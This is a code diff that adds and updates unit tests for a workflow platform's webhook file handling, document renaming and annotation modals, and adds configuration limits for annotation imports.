|
||||
def test_webhook_node_file_conversion_with_none_file():
|
||||
"""Test webhook node file conversion with None file value."""
|
||||
data = WebhookData(
|
||||
title="Test Webhook with None File",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="none_file", type="file", required=False),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {
|
||||
"file": None,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
# Run the node without patches (should handle None case gracefully)
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify None file parameter is None
|
||||
assert result.outputs["_webhook_raw"]["files"]["file"] is None
|
||||
|
||||
|
||||
def test_webhook_node_file_conversion_with_non_dict_file():
|
||||
"""Test webhook node file conversion with non-dict file value."""
|
||||
data = WebhookData(
|
||||
title="Test Webhook with Non-Dict File",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="wrong_type", type="file", required=True),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {
|
||||
"file": "not_a_dict", # Wrapped to match node expectation
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
# Run the node without patches (should handle non-dict case gracefully)
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify fallback to original (wrapped) mapping
|
||||
assert result.outputs["_webhook_raw"]["files"]["file"] == "not_a_dict"
|
||||
|
||||
|
||||
def test_webhook_node_file_conversion_mixed_parameters():
|
||||
"""Test webhook node with mixed parameter types including files."""
|
||||
file_dict = create_test_file_dict("mixed_test.jpg")
|
||||
|
||||
data = WebhookData(
|
||||
title="Test Webhook Mixed Parameters",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
headers=[],
|
||||
params=[],
|
||||
body=[
|
||||
WebhookBodyParameter(name="text_param", type="string", required=True),
|
||||
WebhookBodyParameter(name="number_param", type="number", required=False),
|
||||
WebhookBodyParameter(name="file_param", type="file", required=True),
|
||||
WebhookBodyParameter(name="bool_param", type="boolean", required=False),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {
|
||||
"text_param": "Hello World",
|
||||
"number_param": 42,
|
||||
"bool_param": True,
|
||||
},
|
||||
"files": {
|
||||
"file_param": file_dict,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
with (
|
||||
patch("factories.file_factory.build_from_mapping") as mock_file_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
|
||||
):
|
||||
# Setup mocks for file
|
||||
mock_file_obj = Mock()
|
||||
mock_file_factory.return_value = mock_file_obj
|
||||
|
||||
mock_segment = Mock()
|
||||
mock_segment.value = mock_file_obj
|
||||
mock_segment_factory.return_value = mock_segment
|
||||
|
||||
mock_file_var = Mock()
|
||||
mock_file_variable.return_value = mock_file_var
|
||||
|
||||
# Run the node
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify all parameters are present
|
||||
assert result.outputs["text_param"] == "Hello World"
|
||||
assert result.outputs["number_param"] == 42
|
||||
assert result.outputs["bool_param"] is True
|
||||
assert result.outputs["file_param"] == mock_file_var
|
||||
|
||||
# Verify file conversion was called
|
||||
mock_file_factory.assert_called_once_with(
|
||||
mapping=file_dict,
|
||||
tenant_id="test-tenant",
|
||||
)
|
||||
|
||||
|
||||
def test_webhook_node_different_file_types():
|
||||
"""Test webhook node file conversion with different file types."""
|
||||
image_dict = create_test_file_dict("image.jpg", "image")
|
||||
|
||||
data = WebhookData(
|
||||
title="Test Webhook Different File Types",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="image", type="file", required=True),
|
||||
WebhookBodyParameter(name="document", type="file", required=True),
|
||||
WebhookBodyParameter(name="video", type="file", required=True),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {
|
||||
"image": image_dict,
|
||||
"document": create_test_file_dict("document.pdf", "document"),
|
||||
"video": create_test_file_dict("video.mp4", "video"),
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
|
||||
with (
|
||||
patch("factories.file_factory.build_from_mapping") as mock_file_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.build_segment_with_type") as mock_segment_factory,
|
||||
patch("core.workflow.nodes.trigger_webhook.node.FileVariable") as mock_file_variable,
|
||||
):
|
||||
# Setup mocks for all files
|
||||
mock_file_objs = [Mock() for _ in range(3)]
|
||||
mock_segments = [Mock() for _ in range(3)]
|
||||
mock_file_vars = [Mock() for _ in range(3)]
|
||||
|
||||
# Map each segment.value to its corresponding mock file obj
|
||||
for seg, f in zip(mock_segments, mock_file_objs):
|
||||
seg.value = f
|
||||
|
||||
mock_file_factory.side_effect = mock_file_objs
|
||||
mock_segment_factory.side_effect = mock_segments
|
||||
mock_file_variable.side_effect = mock_file_vars
|
||||
|
||||
# Run the node
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
|
||||
# Verify all file types were converted
|
||||
assert mock_file_factory.call_count == 3
|
||||
assert result.outputs["image"] == mock_file_vars[0]
|
||||
assert result.outputs["document"] == mock_file_vars[1]
|
||||
assert result.outputs["video"] == mock_file_vars[2]
|
||||
|
||||
|
||||
def test_webhook_node_file_conversion_with_non_dict_wrapper():
|
||||
"""Test webhook node file conversion when the file wrapper is not a dict."""
|
||||
data = WebhookData(
|
||||
title="Test Webhook with Non-dict File Wrapper",
|
||||
method=Method.POST,
|
||||
content_type=ContentType.FORM_DATA,
|
||||
body=[
|
||||
WebhookBodyParameter(name="non_dict_wrapper", type="file", required=True),
|
||||
],
|
||||
)
|
||||
|
||||
variable_pool = VariablePool(
|
||||
system_variables=SystemVariable.empty(),
|
||||
user_inputs={
|
||||
"webhook_data": {
|
||||
"headers": {},
|
||||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {
|
||||
"file": "just a string",
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
result = node._run()
|
||||
|
||||
# Verify successful execution (should not crash)
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
# Verify fallback to original value
|
||||
assert result.outputs["_webhook_raw"]["files"]["file"] == "just a string"
|
||||
|
|
@ -1,8 +1,10 @@
|
|||
from unittest.mock import patch
|
||||
|
||||
import pytest
|
||||
|
||||
from core.app.entities.app_invoke_entities import InvokeFrom
|
||||
from core.file import File, FileTransferMethod, FileType
|
||||
from core.variables import StringVariable
|
||||
from core.variables import FileVariable, StringVariable
|
||||
from core.workflow.entities.graph_init_params import GraphInitParams
|
||||
from core.workflow.entities.workflow_node_execution import WorkflowNodeExecutionStatus
|
||||
from core.workflow.nodes.trigger_webhook.entities import (
|
||||
|
|
@ -27,26 +29,34 @@ def create_webhook_node(webhook_data: WebhookData, variable_pool: VariablePool)
|
|||
"data": webhook_data.model_dump(),
|
||||
}
|
||||
|
||||
graph_init_params = GraphInitParams(
|
||||
tenant_id="1",
|
||||
app_id="1",
|
||||
workflow_type=WorkflowType.WORKFLOW,
|
||||
workflow_id="1",
|
||||
graph_config={},
|
||||
user_id="1",
|
||||
user_from=UserFrom.ACCOUNT,
|
||||
invoke_from=InvokeFrom.SERVICE_API,
|
||||
call_depth=0,
|
||||
)
|
||||
runtime_state = GraphRuntimeState(
|
||||
variable_pool=variable_pool,
|
||||
start_at=0,
|
||||
)
|
||||
node = TriggerWebhookNode(
|
||||
id="1",
|
||||
config=node_config,
|
||||
graph_init_params=GraphInitParams(
|
||||
tenant_id="1",
|
||||
app_id="1",
|
||||
workflow_type=WorkflowType.WORKFLOW,
|
||||
workflow_id="1",
|
||||
graph_config={},
|
||||
user_id="1",
|
||||
user_from=UserFrom.ACCOUNT,
|
||||
invoke_from=InvokeFrom.SERVICE_API,
|
||||
call_depth=0,
|
||||
),
|
||||
graph_runtime_state=GraphRuntimeState(
|
||||
variable_pool=variable_pool,
|
||||
start_at=0,
|
||||
),
|
||||
graph_init_params=graph_init_params,
|
||||
graph_runtime_state=runtime_state,
|
||||
)
|
||||
|
||||
# Provide tenant_id for conversion path
|
||||
runtime_state.app_config = type("_AppCfg", (), {"tenant_id": "1"})()
|
||||
|
||||
# Compatibility alias for some nodes referencing `self.node_id`
|
||||
node.node_id = node.id
|
||||
|
||||
return node
|
||||
|
||||
|
||||
|
|
@ -246,20 +256,27 @@ def test_webhook_node_run_with_file_params():
|
|||
"query_params": {},
|
||||
"body": {},
|
||||
"files": {
|
||||
"upload": file1,
|
||||
"document": file2,
|
||||
"upload": file1.to_dict(),
|
||||
"document": file2.to_dict(),
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
result = node._run()
|
||||
# Mock the file factory to avoid DB-dependent validation on upload_file_id
|
||||
with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
|
||||
|
||||
def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
|
||||
return File.model_validate(mapping)
|
||||
|
||||
mock_file_factory.side_effect = _to_file
|
||||
result = node._run()
|
||||
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
assert result.outputs["upload"] == file1
|
||||
assert result.outputs["document"] == file2
|
||||
assert result.outputs["missing_file"] is None
|
||||
assert isinstance(result.outputs["upload"], FileVariable)
|
||||
assert isinstance(result.outputs["document"], FileVariable)
|
||||
assert result.outputs["upload"].value.filename == "image.jpg"
|
||||
|
||||
|
||||
def test_webhook_node_run_mixed_parameters():
|
||||
|
|
@ -291,19 +308,27 @@ def test_webhook_node_run_mixed_parameters():
|
|||
"headers": {"Authorization": "Bearer token"},
|
||||
"query_params": {"version": "v1"},
|
||||
"body": {"message": "Test message"},
|
||||
"files": {"upload": file_obj},
|
||||
"files": {"upload": file_obj.to_dict()},
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
node = create_webhook_node(data, variable_pool)
|
||||
result = node._run()
|
||||
# Mock the file factory to avoid DB-dependent validation on upload_file_id
|
||||
with patch("factories.file_factory.build_from_mapping") as mock_file_factory:
|
||||
|
||||
def _to_file(mapping, tenant_id, config=None, strict_type_validation=False):
|
||||
return File.model_validate(mapping)
|
||||
|
||||
mock_file_factory.side_effect = _to_file
|
||||
result = node._run()
|
||||
|
||||
assert result.status == WorkflowNodeExecutionStatus.SUCCEEDED
|
||||
assert result.outputs["Authorization"] == "Bearer token"
|
||||
assert result.outputs["version"] == "v1"
|
||||
assert result.outputs["message"] == "Test message"
|
||||
assert result.outputs["upload"] == file_obj
|
||||
assert isinstance(result.outputs["upload"], FileVariable)
|
||||
assert result.outputs["upload"].value.filename == "test.jpg"
|
||||
assert "_webhook_raw" in result.outputs
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -1,3 +1,5 @@
|
|||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
|
||||
from core.file.enums import FileType
|
||||
|
|
@ -12,6 +14,36 @@ from core.workflow.system_variable import SystemVariable
|
|||
from core.workflow.workflow_entry import WorkflowEntry
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _mock_ssrf_head(monkeypatch):
|
||||
"""Avoid any real network requests during tests.
|
||||
|
||||
file_factory._get_remote_file_info() uses ssrf_proxy.head to inspect
|
||||
remote files. We stub it to return a minimal response object with
|
||||
headers so filename/mime/size can be derived deterministically.
|
||||
"""
|
||||
|
||||
def fake_head(url, *args, **kwargs):
|
||||
# choose a content-type by file suffix for determinism
|
||||
if url.endswith(".pdf"):
|
||||
ctype = "application/pdf"
|
||||
elif url.endswith(".jpg") or url.endswith(".jpeg"):
|
||||
ctype = "image/jpeg"
|
||||
elif url.endswith(".png"):
|
||||
ctype = "image/png"
|
||||
else:
|
||||
ctype = "application/octet-stream"
|
||||
filename = url.split("/")[-1] or "file.bin"
|
||||
headers = {
|
||||
"Content-Type": ctype,
|
||||
"Content-Disposition": f'attachment; filename="{filename}"',
|
||||
"Content-Length": "12345",
|
||||
}
|
||||
return SimpleNamespace(status_code=200, headers=headers)
|
||||
|
||||
monkeypatch.setattr("core.helper.ssrf_proxy.head", fake_head)
|
||||
|
||||
|
||||
class TestWorkflowEntry:
|
||||
"""Test WorkflowEntry class methods."""
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,176 @@
|
|||
from types import SimpleNamespace
|
||||
from unittest.mock import Mock, create_autospec, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from models import Account
|
||||
from services.dataset_service import DocumentService
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def mock_env():
|
||||
"""Patch dependencies used by DocumentService.rename_document.
|
||||
|
||||
Mocks:
|
||||
- DatasetService.get_dataset
|
||||
- DocumentService.get_document
|
||||
- current_user (with current_tenant_id)
|
||||
- db.session
|
||||
"""
|
||||
with (
|
||||
patch("services.dataset_service.DatasetService.get_dataset") as get_dataset,
|
||||
patch("services.dataset_service.DocumentService.get_document") as get_document,
|
||||
patch("services.dataset_service.current_user", create_autospec(Account, instance=True)) as current_user,
|
||||
patch("extensions.ext_database.db.session") as db_session,
|
||||
):
|
||||
current_user.current_tenant_id = "tenant-123"
|
||||
yield {
|
||||
"get_dataset": get_dataset,
|
||||
"get_document": get_document,
|
||||
"current_user": current_user,
|
||||
"db_session": db_session,
|
||||
}
|
||||
|
||||
|
||||
def make_dataset(dataset_id="dataset-123", tenant_id="tenant-123", built_in_field_enabled=False):
|
||||
return SimpleNamespace(id=dataset_id, tenant_id=tenant_id, built_in_field_enabled=built_in_field_enabled)
|
||||
|
||||
|
||||
def make_document(
|
||||
document_id="document-123",
|
||||
dataset_id="dataset-123",
|
||||
tenant_id="tenant-123",
|
||||
name="Old Name",
|
||||
data_source_info=None,
|
||||
doc_metadata=None,
|
||||
):
|
||||
doc = Mock()
|
||||
doc.id = document_id
|
||||
doc.dataset_id = dataset_id
|
||||
doc.tenant_id = tenant_id
|
||||
doc.name = name
|
||||
doc.data_source_info = data_source_info or {}
|
||||
# property-like usage in code relies on a dict
|
||||
doc.data_source_info_dict = dict(doc.data_source_info)
|
||||
doc.doc_metadata = dict(doc_metadata or {})
|
||||
return doc
|
||||
|
||||
|
||||
def test_rename_document_success(mock_env):
|
||||
dataset_id = "dataset-123"
|
||||
document_id = "document-123"
|
||||
new_name = "New Document Name"
|
||||
|
||||
dataset = make_dataset(dataset_id)
|
||||
document = make_document(document_id=document_id, dataset_id=dataset_id)
|
||||
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = document
|
||||
|
||||
result = DocumentService.rename_document(dataset_id, document_id, new_name)
|
||||
|
||||
assert result is document
|
||||
assert document.name == new_name
|
||||
mock_env["db_session"].add.assert_called_once_with(document)
|
||||
mock_env["db_session"].commit.assert_called_once()
|
||||
|
||||
|
||||
def test_rename_document_with_built_in_fields(mock_env):
|
||||
dataset_id = "dataset-123"
|
||||
document_id = "document-123"
|
||||
new_name = "Renamed"
|
||||
|
||||
dataset = make_dataset(dataset_id, built_in_field_enabled=True)
|
||||
document = make_document(document_id=document_id, dataset_id=dataset_id, doc_metadata={"foo": "bar"})
|
||||
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = document
|
||||
|
||||
DocumentService.rename_document(dataset_id, document_id, new_name)
|
||||
|
||||
assert document.name == new_name
|
||||
# BuiltInField.document_name == "document_name" in service code
|
||||
assert document.doc_metadata["document_name"] == new_name
|
||||
assert document.doc_metadata["foo"] == "bar"
|
||||
|
||||
|
||||
def test_rename_document_updates_upload_file_when_present(mock_env):
|
||||
dataset_id = "dataset-123"
|
||||
document_id = "document-123"
|
||||
new_name = "Renamed"
|
||||
file_id = "file-123"
|
||||
|
||||
dataset = make_dataset(dataset_id)
|
||||
document = make_document(
|
||||
document_id=document_id,
|
||||
dataset_id=dataset_id,
|
||||
data_source_info={"upload_file_id": file_id},
|
||||
)
|
||||
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = document
|
||||
|
||||
# Intercept UploadFile rename UPDATE chain
|
||||
mock_query = Mock()
|
||||
mock_query.where.return_value = mock_query
|
||||
mock_env["db_session"].query.return_value = mock_query
|
||||
|
||||
DocumentService.rename_document(dataset_id, document_id, new_name)
|
||||
|
||||
assert document.name == new_name
|
||||
mock_env["db_session"].query.assert_called() # update executed
|
||||
|
||||
|
||||
def test_rename_document_does_not_update_upload_file_when_missing_id(mock_env):
|
||||
"""
|
||||
When data_source_info_dict exists but does not contain "upload_file_id",
|
||||
UploadFile should not be updated.
|
||||
"""
|
||||
dataset_id = "dataset-123"
|
||||
document_id = "document-123"
|
||||
new_name = "Another Name"
|
||||
|
||||
dataset = make_dataset(dataset_id)
|
||||
# Ensure data_source_info_dict is truthy but lacks the key
|
||||
document = make_document(
|
||||
document_id=document_id,
|
||||
dataset_id=dataset_id,
|
||||
data_source_info={"url": "https://example.com"},
|
||||
)
|
||||
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = document
|
||||
|
||||
DocumentService.rename_document(dataset_id, document_id, new_name)
|
||||
|
||||
assert document.name == new_name
|
||||
# Should NOT attempt to update UploadFile
|
||||
mock_env["db_session"].query.assert_not_called()
|
||||
|
||||
|
||||
def test_rename_document_dataset_not_found(mock_env):
|
||||
mock_env["get_dataset"].return_value = None
|
||||
|
||||
with pytest.raises(ValueError, match="Dataset not found"):
|
||||
DocumentService.rename_document("missing", "doc", "x")
|
||||
|
||||
|
||||
def test_rename_document_not_found(mock_env):
|
||||
dataset = make_dataset("dataset-123")
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = None
|
||||
|
||||
with pytest.raises(ValueError, match="Document not found"):
|
||||
DocumentService.rename_document(dataset.id, "missing", "x")
|
||||
|
||||
|
||||
def test_rename_document_permission_denied_when_tenant_mismatch(mock_env):
|
||||
dataset = make_dataset("dataset-123")
|
||||
# different tenant than current_user.current_tenant_id
|
||||
document = make_document(dataset_id=dataset.id, tenant_id="tenant-other")
|
||||
|
||||
mock_env["get_dataset"].return_value = dataset
|
||||
mock_env["get_document"].return_value = document
|
||||
|
||||
with pytest.raises(ValueError, match="No permission"):
|
||||
DocumentService.rename_document(dataset.id, document.id, "x")
|
||||
|
|
@ -82,19 +82,19 @@ class TestWebhookServiceUnit:
|
|||
"/webhook",
|
||||
method="POST",
|
||||
headers={"Content-Type": "multipart/form-data"},
|
||||
data={"message": "test", "upload": file_storage},
|
||||
data={"message": "test", "file": file_storage},
|
||||
):
|
||||
webhook_trigger = MagicMock()
|
||||
webhook_trigger.tenant_id = "test_tenant"
|
||||
|
||||
with patch.object(WebhookService, "_process_file_uploads") as mock_process_files:
|
||||
mock_process_files.return_value = {"upload": "mocked_file_obj"}
|
||||
mock_process_files.return_value = {"file": "mocked_file_obj"}
|
||||
|
||||
webhook_data = WebhookService.extract_webhook_data(webhook_trigger)
|
||||
|
||||
assert webhook_data["method"] == "POST"
|
||||
assert webhook_data["body"]["message"] == "test"
|
||||
assert webhook_data["files"]["upload"] == "mocked_file_obj"
|
||||
assert webhook_data["files"]["file"] == "mocked_file_obj"
|
||||
mock_process_files.assert_called_once()
|
||||
|
||||
def test_extract_webhook_data_raw_text(self):
|
||||
|
|
|
|||
|
|
@ -1448,5 +1448,16 @@ WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK=0
|
|||
# Tenant isolated task queue configuration
|
||||
TENANT_ISOLATED_TASK_CONCURRENCY=1
|
||||
|
||||
# Maximum allowed CSV file size for annotation import in megabytes
|
||||
ANNOTATION_IMPORT_FILE_SIZE_LIMIT=2
|
||||
#Maximum number of annotation records allowed in a single import
|
||||
ANNOTATION_IMPORT_MAX_RECORDS=10000
|
||||
# Minimum number of annotation records required in a single import
|
||||
ANNOTATION_IMPORT_MIN_RECORDS=1
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20
|
||||
# Maximum number of concurrent annotation import tasks per tenant
|
||||
ANNOTATION_IMPORT_MAX_CONCURRENT=5
|
||||
|
||||
# The API key of amplitude
|
||||
AMPLITUDE_API_KEY=
|
||||
|
|
|
|||
|
|
@ -648,6 +648,12 @@ x-shared-env: &shared-api-worker-env
|
|||
WORKFLOW_SCHEDULE_POLLER_BATCH_SIZE: ${WORKFLOW_SCHEDULE_POLLER_BATCH_SIZE:-100}
|
||||
WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK: ${WORKFLOW_SCHEDULE_MAX_DISPATCH_PER_TICK:-0}
|
||||
TENANT_ISOLATED_TASK_CONCURRENCY: ${TENANT_ISOLATED_TASK_CONCURRENCY:-1}
|
||||
ANNOTATION_IMPORT_FILE_SIZE_LIMIT: ${ANNOTATION_IMPORT_FILE_SIZE_LIMIT:-2}
|
||||
ANNOTATION_IMPORT_MAX_RECORDS: ${ANNOTATION_IMPORT_MAX_RECORDS:-10000}
|
||||
ANNOTATION_IMPORT_MIN_RECORDS: ${ANNOTATION_IMPORT_MIN_RECORDS:-1}
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE: ${ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE:-5}
|
||||
ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR: ${ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR:-20}
|
||||
ANNOTATION_IMPORT_MAX_CONCURRENT: ${ANNOTATION_IMPORT_MAX_CONCURRENT:-5}
|
||||
AMPLITUDE_API_KEY: ${AMPLITUDE_API_KEY:-}
|
||||
|
||||
services:
|
||||
|
|
|
|||
|
|
@ -0,0 +1,98 @@
|
|||
import React from 'react'
|
||||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import ClearAllAnnotationsConfirmModal from './index'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => {
|
||||
const translations: Record<string, string> = {
|
||||
'appAnnotation.table.header.clearAllConfirm': 'Clear all annotations?',
|
||||
'common.operation.confirm': 'Confirm',
|
||||
'common.operation.cancel': 'Cancel',
|
||||
}
|
||||
return translations[key] || key
|
||||
},
|
||||
}),
|
||||
}))
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('ClearAllAnnotationsConfirmModal', () => {
|
||||
// Rendering visibility toggled by isShow flag
|
||||
describe('Rendering', () => {
|
||||
test('should show confirmation dialog when isShow is true', () => {
|
||||
// Arrange
|
||||
render(
|
||||
<ClearAllAnnotationsConfirmModal
|
||||
isShow
|
||||
onHide={jest.fn()}
|
||||
onConfirm={jest.fn()}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('Clear all annotations?')).toBeInTheDocument()
|
||||
expect(screen.getByRole('button', { name: 'Cancel' })).toBeInTheDocument()
|
||||
expect(screen.getByRole('button', { name: 'Confirm' })).toBeInTheDocument()
|
||||
})
|
||||
|
||||
test('should not render anything when isShow is false', () => {
|
||||
// Arrange
|
||||
render(
|
||||
<ClearAllAnnotationsConfirmModal
|
||||
isShow={false}
|
||||
onHide={jest.fn()}
|
||||
onConfirm={jest.fn()}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Assert
|
||||
expect(screen.queryByText('Clear all annotations?')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// User confirms or cancels clearing annotations
|
||||
describe('Interactions', () => {
|
||||
test('should trigger onHide when cancel is clicked', () => {
|
||||
const onHide = jest.fn()
|
||||
const onConfirm = jest.fn()
|
||||
// Arrange
|
||||
render(
|
||||
<ClearAllAnnotationsConfirmModal
|
||||
isShow
|
||||
onHide={onHide}
|
||||
onConfirm={onConfirm}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
|
||||
|
||||
// Assert
|
||||
expect(onHide).toHaveBeenCalledTimes(1)
|
||||
expect(onConfirm).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
test('should trigger onConfirm when confirm is clicked', () => {
|
||||
const onHide = jest.fn()
|
||||
const onConfirm = jest.fn()
|
||||
// Arrange
|
||||
render(
|
||||
<ClearAllAnnotationsConfirmModal
|
||||
isShow
|
||||
onHide={onHide}
|
||||
onConfirm={onConfirm}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Confirm' }))
|
||||
|
||||
// Assert
|
||||
expect(onConfirm).toHaveBeenCalledTimes(1)
|
||||
expect(onHide).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,98 @@
|
|||
import React from 'react'
|
||||
import { fireEvent, render, screen } from '@testing-library/react'
|
||||
import RemoveAnnotationConfirmModal from './index'
|
||||
|
||||
jest.mock('react-i18next', () => ({
|
||||
useTranslation: () => ({
|
||||
t: (key: string) => {
|
||||
const translations: Record<string, string> = {
|
||||
'appDebug.feature.annotation.removeConfirm': 'Remove annotation?',
|
||||
'common.operation.confirm': 'Confirm',
|
||||
'common.operation.cancel': 'Cancel',
|
||||
}
|
||||
return translations[key] || key
|
||||
},
|
||||
}),
|
||||
}))
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
describe('RemoveAnnotationConfirmModal', () => {
|
||||
// Rendering behavior driven by isShow and translations
|
||||
describe('Rendering', () => {
|
||||
test('should display the confirm modal when visible', () => {
|
||||
// Arrange
|
||||
render(
|
||||
<RemoveAnnotationConfirmModal
|
||||
isShow
|
||||
onHide={jest.fn()}
|
||||
onRemove={jest.fn()}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText('Remove annotation?')).toBeInTheDocument()
|
||||
expect(screen.getByRole('button', { name: 'Cancel' })).toBeInTheDocument()
|
||||
expect(screen.getByRole('button', { name: 'Confirm' })).toBeInTheDocument()
|
||||
})
|
||||
|
||||
test('should not render modal content when hidden', () => {
|
||||
// Arrange
|
||||
render(
|
||||
<RemoveAnnotationConfirmModal
|
||||
isShow={false}
|
||||
onHide={jest.fn()}
|
||||
onRemove={jest.fn()}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Assert
|
||||
expect(screen.queryByText('Remove annotation?')).not.toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// User interactions with confirm and cancel buttons
|
||||
describe('Interactions', () => {
|
||||
test('should call onHide when cancel button is clicked', () => {
|
||||
const onHide = jest.fn()
|
||||
const onRemove = jest.fn()
|
||||
// Arrange
|
||||
render(
|
||||
<RemoveAnnotationConfirmModal
|
||||
isShow
|
||||
onHide={onHide}
|
||||
onRemove={onRemove}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
|
||||
|
||||
// Assert
|
||||
expect(onHide).toHaveBeenCalledTimes(1)
|
||||
expect(onRemove).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
test('should call onRemove when confirm button is clicked', () => {
|
||||
const onHide = jest.fn()
|
||||
const onRemove = jest.fn()
|
||||
// Arrange
|
||||
render(
|
||||
<RemoveAnnotationConfirmModal
|
||||
isShow
|
||||
onHide={onHide}
|
||||
onRemove={onRemove}
|
||||
/>,
|
||||
)
|
||||
|
||||
// Act
|
||||
fireEvent.click(screen.getByRole('button', { name: 'Confirm' }))
|
||||
|
||||
// Assert
|
||||
expect(onRemove).toHaveBeenCalledTimes(1)
|
||||
expect(onHide).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -51,6 +51,7 @@ import { AppModeEnum } from '@/types/app'
|
|||
import type { PublishWorkflowParams } from '@/types/workflow'
|
||||
import { basePath } from '@/utils/var'
|
||||
import UpgradeBtn from '@/app/components/billing/upgrade-btn'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const ACCESS_MODE_MAP: Record<AccessMode, { label: string, icon: React.ElementType }> = {
|
||||
[AccessMode.ORGANIZATION]: {
|
||||
|
|
